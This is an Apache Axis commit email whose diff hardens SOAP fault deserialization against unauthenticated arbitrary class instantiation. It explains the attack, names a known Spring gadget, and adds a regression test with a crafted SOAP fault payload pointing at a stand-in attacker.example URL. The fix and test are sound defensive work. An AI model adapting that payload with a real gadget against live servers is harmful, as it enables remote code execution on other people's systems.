You are viewing a plain text version of this content. The canonical link for it is here.
Posted to java-commits@axis.apache.org by ro...@apache.org on 2026/09/07 23:34:09 UTC
(axis-axis1-java) 02/02: Prevent arbitrary class instantiation from SOAP fault exceptionName
This is an automated email from the ASF dual-hosted git repository.
robertlazarski pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/axis-axis1-java.git
commit 41f3b4e8d04e310ca81f86b92630ab2c11d608bd
Author: Robert Lazarski <ro...@gmail.com>
AuthorDate: Sun Jul 12 06:08:36 2026 -1000
Prevent arbitrary class instantiation from SOAP fault exceptionName
An inbound SOAP <Fault> whose <detail> carries an <exceptionName> element
caused the fault deserializer to load the named class and invoke its
constructor with attacker-controlled data before any type check, running
the resulting ClassCastException into a silent catch. With a suitable
gadget on the classpath (e.g. Spring's ClassPathXmlApplicationContext,
the CVE-2023-46604 gadget) this is an unauthenticated remote
class-instantiation / RCE, reachable pre-authentication because the
engine force-parses the request body during service dispatch.
Harden the fault path:
- SOAPFaultDetailsBuilder.setValue loads the <exceptionName> class without
initializing it (no static initializer runs) and only accepts it if it
is an org.apache.axis.AxisFault subtype.
- SOAPFaultBuilder.createFault gates the reflective constructor branch on
AxisFault assignability, so a non-fault class is never constructed.
- ClassUtils.forName now honors a non-initializing load; the existing
three-arg overload previously ignored its init flag (all callers passed
true, so behavior is unchanged for them).
Legitimate custom-fault deserialization (real AxisFault subtypes) still
works. Adds a regression test that fails against the vulnerable code.
Co-Authored-By: Claude Fable 5 <no...@anthropic.com>
---
.../org/apache/axis/message/SOAPFaultBuilder.java | 23 ++--
.../axis/message/SOAPFaultDetailsBuilder.java | 20 +++-
.../java/org/apache/axis/utils/ClassUtils.java | 35 ++++--
.../test/java/test/faults/FaultGadgetProbe.java | 35 ++++++
.../test/java/test/faults/FaultGadgetState.java | 32 ++++++
.../test/faults/TestFaultClassInstantiation.java | 124 +++++++++++++++++++++
6 files changed, 251 insertions(+), 18 deletions(-)
diff --git a/axis-rt-core/src/main/java/org/apache/axis/message/SOAPFaultBuilder.java b/axis-rt-core/src/main/java/org/apache/axis/message/SOAPFaultBuilder.java
index 35666db97..dff520c1c 100644
--- a/axis-rt-core/src/main/java/org/apache/axis/message/SOAPFaultBuilder.java
+++ b/axis-rt-core/src/main/java/org/apache/axis/message/SOAPFaultBuilder.java
@@ -162,14 +162,21 @@ public class SOAPFaultBuilder extends SOAPHandler implements Callback
// We need to create the exception,
// passing the data to the constructor.
Class argClass = ConvertWrapper(faultData.getClass());
- try {
- Constructor con =
- faultClass.getConstructor(
- new Class[] { argClass });
- f = (AxisFault) con.newInstance(new Object[] { faultData });
- } catch(Exception e){
- // Don't do anything here, since a problem above means
- // we'll just fall through and use a plain AxisFault.
+ // Only construct genuine AxisFault subtypes: the
+ // constructor runs before the (AxisFault) cast below,
+ // so reflectively constructing an arbitrary class here
+ // would let an unauthenticated caller execute its
+ // constructor with attacker-controlled data.
+ if (AxisFault.class.isAssignableFrom(faultClass)) {
+ try {
+ Constructor con =
+ faultClass.getConstructor(
+ new Class[] { argClass });
+ f = (AxisFault) con.newInstance(new Object[] { faultData });
+ } catch(Exception e){
+ // Don't do anything here, since a problem above means
+ // we'll just fall through and use a plain AxisFault.
+ }
}
if (f == null && faultData instanceof Exception) {
f = AxisFault.makeFault((Exception)faultData);
diff --git a/axis-rt-core/src/main/java/org/apache/axis/message/SOAPFaultDetailsBuilder.java b/axis-rt-core/src/main/java/org/apache/axis/message/SOAPFaultDetailsBuilder.java
index ff8b56c19..f564d95a1 100644
--- a/axis-rt-core/src/main/java/org/apache/axis/message/SOAPFaultDetailsBuilder.java
+++ b/axis-rt-core/src/main/java/org/apache/axis/message/SOAPFaultDetailsBuilder.java
@@ -28,6 +28,8 @@ import org.apache.axis.encoding.DeserializerImpl;
import org.apache.axis.soap.SOAPConstants;
import org.apache.axis.utils.ClassUtils;
import org.apache.axis.utils.Messages;
+import org.apache.commons.logging.Log;
+import org.apache.commons.logging.LogFactory;
import org.xml.sax.Attributes;
import org.xml.sax.SAXException;
@@ -42,6 +44,9 @@ import java.util.Iterator;
*/
public class SOAPFaultDetailsBuilder extends SOAPHandler implements Callback
{
+ protected static Log log =
+ LogFactory.getLog(SOAPFaultDetailsBuilder.class.getName());
+
protected SOAPFaultBuilder builder;
public SOAPFaultDetailsBuilder(SOAPFaultBuilder builder) {
@@ -180,8 +185,19 @@ public class SOAPFaultDetailsBuilder extends SOAPHandler implements Callback
} else if ("exceptionName".equals(hint)) {
String faultClassName = (String) value;
try {
- Class faultClass = ClassUtils.forName(faultClassName);
- builder.setFaultClass(faultClass);
+ // The class name here comes straight from the inbound message
+ // and is therefore untrusted. Load it without initializing it
+ // (so no static initializer runs) and only accept it if it is
+ // an AxisFault subtype. This prevents an unauthenticated caller
+ // from loading and instantiating arbitrary classpath classes
+ // via a <detail><exceptionName> element.
+ Class faultClass = ClassUtils.forName(faultClassName, false);
+ if (AxisFault.class.isAssignableFrom(faultClass)) {
+ builder.setFaultClass(faultClass);
+ } else if (log.isDebugEnabled()) {
+ log.debug("Ignoring fault exceptionName '" + faultClassName
+ + "': not an org.apache.axis.AxisFault subtype");
+ }
} catch (ClassNotFoundException e) {
// Just create an AxisFault, no custom exception
}
diff --git a/axis-rt-core/src/main/java/org/apache/axis/utils/ClassUtils.java b/axis-rt-core/src/main/java/org/apache/axis/utils/ClassUtils.java
index d0ae7c1ad..62e1301a4 100644
--- a/axis-rt-core/src/main/java/org/apache/axis/utils/ClassUtils.java
+++ b/axis-rt-core/src/main/java/org/apache/axis/utils/ClassUtils.java
@@ -58,7 +58,23 @@ public final class ClassUtils {
*/
public static Class forName(String className)
throws ClassNotFoundException {
- return loadClass(className);
+ return loadClass(className, true);
+ }
+
+ /**
+ * Use this method instead of Class.forName when the class should be
+ * located but not necessarily initialized. Passing <code>false</code>
+ * avoids running the named class's static initializer, which is
+ * important when the class name comes from untrusted input.
+ *
+ * @param className Class name
+ * @param initialize whether to initialize the class
+ * @return java class
+ * @throws ClassNotFoundException if the class is not found
+ */
+ public static Class forName(String className, boolean initialize)
+ throws ClassNotFoundException {
+ return loadClass(className, initialize);
}
/**
@@ -78,14 +94,15 @@ public final class ClassUtils {
// Create final vars for doPrivileged block
final String className = _className;
final ClassLoader loader = _loader;
+ final boolean initialize = init;
try {
// Get the class within a doPrivleged block
- Object ret =
+ Object ret =
AccessController.doPrivileged(
new PrivilegedAction() {
public Object run() {
try {
- return Class.forName(className, true, loader);
+ return Class.forName(className, initialize, loader);
} catch (Throwable e) {
return e;
}
@@ -100,7 +117,7 @@ public final class ClassUtils {
throw new ClassNotFoundException(_className);
}
} catch (ClassNotFoundException cnfe) {
- return loadClass(className);
+ return loadClass(className, init);
}
}
@@ -109,16 +126,18 @@ public final class ClassUtils {
* getDefaultClassLoader().forName
*
* @param _className Class name
+ * @param initialize whether to initialize the class
* @return java class
* @throws ClassNotFoundException if the class is not found
*/
- private static Class loadClass(String _className)
+ private static Class loadClass(String _className, boolean initialize)
throws ClassNotFoundException {
// Create final vars for doPrivileged block
final String className = _className;
+ final boolean init = initialize;
// Get the class within a doPrivleged block
- Object ret =
+ Object ret =
AccessController.doPrivileged(
new PrivilegedAction() {
public Object run() {
@@ -126,13 +145,13 @@ public final class ClassUtils {
// Try the context class loader
ClassLoader classLoader =
Thread.currentThread().getContextClassLoader();
- return Class.forName(className, true, classLoader);
+ return Class.forName(className, init, classLoader);
} catch (ClassNotFoundException cnfe2) {
try {
// Try the classloader that loaded this class.
ClassLoader classLoader =
ClassUtils.class.getClassLoader();
- return Class.forName(className, true, classLoader);
+ return Class.forName(className, init, classLoader);
} catch (ClassNotFoundException cnfe3) {
// Try the default class loader.
try {
diff --git a/axis-rt-core/src/test/java/test/faults/FaultGadgetProbe.java b/axis-rt-core/src/test/java/test/faults/FaultGadgetProbe.java
new file mode 100644
index 000000000..1667733aa
--- /dev/null
+++ b/axis-rt-core/src/test/java/test/faults/FaultGadgetProbe.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package test.faults;
+
+/**
+ * A stand-in for a dangerous "gadget" class (e.g. Spring's
+ * ClassPathXmlApplicationContext) named by an inbound SOAP fault's
+ * <exceptionName> element. It records whether its static initializer
+ * runs (i.e. the class was loaded with initialization) and whether its
+ * String constructor is invoked. It is deliberately not an AxisFault, so a
+ * correctly hardened deserializer must never load-and-initialize or
+ * construct it. See {@link TestFaultClassInstantiation}.
+ */
+public class FaultGadgetProbe {
+ static {
+ FaultGadgetState.staticInitRan = true;
+ }
+
+ public FaultGadgetProbe(String url) {
+ FaultGadgetState.constructorRan = true;
+ }
+}
diff --git a/axis-rt-core/src/test/java/test/faults/FaultGadgetState.java b/axis-rt-core/src/test/java/test/faults/FaultGadgetState.java
new file mode 100644
index 000000000..6ac1359d6
--- /dev/null
+++ b/axis-rt-core/src/test/java/test/faults/FaultGadgetState.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package test.faults;
+
+/**
+ * Holder for the {@link FaultGadgetProbe} instrumentation flags. Kept in a
+ * separate class so that a test can inspect the flags without itself
+ * triggering initialization of {@link FaultGadgetProbe} (which would run the
+ * probe's static initializer and defeat the point of the check).
+ */
+public class FaultGadgetState {
+ public static volatile boolean staticInitRan = false;
+ public static volatile boolean constructorRan = false;
+
+ public static void reset() {
+ staticInitRan = false;
+ constructorRan = false;
+ }
+}
diff --git a/axis-rt-core/src/test/java/test/faults/TestFaultClassInstantiation.java b/axis-rt-core/src/test/java/test/faults/TestFaultClassInstantiation.java
new file mode 100644
index 000000000..251ecb45c
--- /dev/null
+++ b/axis-rt-core/src/test/java/test/faults/TestFaultClassInstantiation.java
@@ -0,0 +1,124 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package test.faults;
+
+import junit.framework.Test;
+import junit.framework.TestCase;
+import junit.framework.TestSuite;
+import org.apache.axis.AxisFault;
+import org.apache.axis.Message;
+import org.apache.axis.MessageContext;
+import org.apache.axis.message.SOAPBodyElement;
+import org.apache.axis.message.SOAPEnvelope;
+import org.apache.axis.message.SOAPFault;
+import org.apache.axis.server.AxisServer;
+
+/**
+ * Security regression test: an inbound SOAP <Fault> whose
+ * <detail> carries an <exceptionName> naming an arbitrary
+ * (non-fault) class must not cause that class to be loaded-and-initialized
+ * or constructed. This is the shape of the unauthenticated
+ * class-instantiation / RCE reported against Axis 1.x's fault deserializer
+ * (analogous to CVE-2023-46604 in Apache ActiveMQ).
+ */
+public class TestFaultClassInstantiation extends TestCase {
+
+ public TestFaultClassInstantiation(String name) {
+ super(name);
+ }
+
+ public static Test suite() {
+ return new TestSuite(TestFaultClassInstantiation.class);
+ }
+
+ public void testExceptionNameDoesNotInstantiateArbitraryClass()
+ throws Exception {
+ FaultGadgetState.reset();
+
+ // Note: the class named in <exceptionName> is referenced only as a
+ // string here, so the JVM does not load it on our behalf; the only
+ // way it can be touched is via the fault deserialization path.
+ String gadget = "test.faults.FaultGadgetProbe";
+ String messageText =
+ "<soap:Envelope"
+ + " xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\""
+ + " xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\""
+ + " xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\">"
+ + " <soap:Body>"
+ + " <soap:Fault>"
+ + " <faultcode>x</faultcode>"
+ + " <faultstring>x</faultstring>"
+ + " <detail>"
+ + " <data xsi:type=\"xsd:string\">http://attacker.example/payload</data>"
+ + " <exceptionName>" + gadget + "</exceptionName>"
+ + " </detail>"
+ + " </soap:Fault>"
+ + " </soap:Body>"
+ + "</soap:Envelope>";
+
+ AxisServer server = new AxisServer();
+ Message message = new Message(messageText);
+ message.setMessageContext(new MessageContext(server));
+
+ SOAPEnvelope envelope = (SOAPEnvelope) message.getSOAPEnvelope();
+ SOAPBodyElement respBody = envelope.getFirstBody();
+ assertTrue("respBody should be a SOAPFault",
+ respBody instanceof SOAPFault);
+
+ // Force fault materialization (defensive; getFirstBody already parses).
+ AxisFault aFault = ((SOAPFault) respBody).getFault();
+
+ assertFalse("gadget constructor must not be invoked",
+ FaultGadgetState.constructorRan);
+ assertFalse("gadget class must not be initialized (no static init)",
+ FaultGadgetState.staticInitRan);
+
+ // The fault must still deserialize gracefully as a plain AxisFault.
+ assertNotNull("Fault should still be produced", aFault);
+ }
+
+ public void testLegitimateAxisFaultSubtypeStillDeserializes()
+ throws Exception {
+ // A genuine AxisFault subtype named via <exceptionName> must still
+ // work, so the hardening does not break the legitimate feature.
+ String faultClass = "org.apache.axis.AxisFault";
+ String messageText =
+ "<soap:Envelope"
+ + " xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">"
+ + " <soap:Body>"
+ + " <soap:Fault>"
+ + " <faultcode>Some.Code</faultcode>"
+ + " <faultstring>boom</faultstring>"
+ + " <detail>"
+ + " <exceptionName>" + faultClass + "</exceptionName>"
+ + " </detail>"
+ + " </soap:Fault>"
+ + " </soap:Body>"
+ + "</soap:Envelope>";
+
+ AxisServer server = new AxisServer();
+ Message message = new Message(messageText);
+ message.setMessageContext(new MessageContext(server));
+
+ SOAPEnvelope envelope = (SOAPEnvelope) message.getSOAPEnvelope();
+ SOAPBodyElement respBody = envelope.getFirstBody();
+ AxisFault aFault = ((SOAPFault) respBody).getFault();
+
+ assertNotNull("Fault should be produced", aFault);
+ assertEquals("faultString should round-trip",
+ "boom", aFault.getFaultString());
+ }
+}